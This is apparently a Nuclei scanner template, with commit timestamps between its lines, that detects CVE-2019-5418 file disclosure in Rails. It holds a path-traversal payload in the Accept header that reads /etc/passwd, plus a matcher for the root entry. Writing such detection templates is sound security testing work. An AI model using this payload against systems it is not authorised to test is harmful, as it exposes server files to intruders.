2021-01-02 04:59:06 +00:00
id : CVE-2019-5418
2020-04-08 15:07:10 +00:00
info :
name : File Content Disclosure on Rails
author : omarkurt
severity : medium
2021-03-30 12:10:17 +00:00
description : There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system's filesystem to be exposed.
reference : |
- https://github.com/omarkurt/CVE-2019-5418
- https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/
2021-03-18 07:54:36 +00:00
tags : cve,cve2019,rails,lfi
2020-05-08 16:31:59 +00:00
2020-04-08 15:07:10 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}"
headers :
2020-05-24 03:55:32 +00:00
Accept : ../../../../../../../../etc/passwd{{
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-04-08 15:07:10 +00:00
matchers :
- type : status
status :
2020-05-25 07:49:06 +00:00
- 200
2020-04-08 15:07:10 +00:00
- type : regex
regex :
2020-05-25 07:49:06 +00:00
- "root:[x*]:0:0:"
2020-04-08 15:07:10 +00:00
part : body
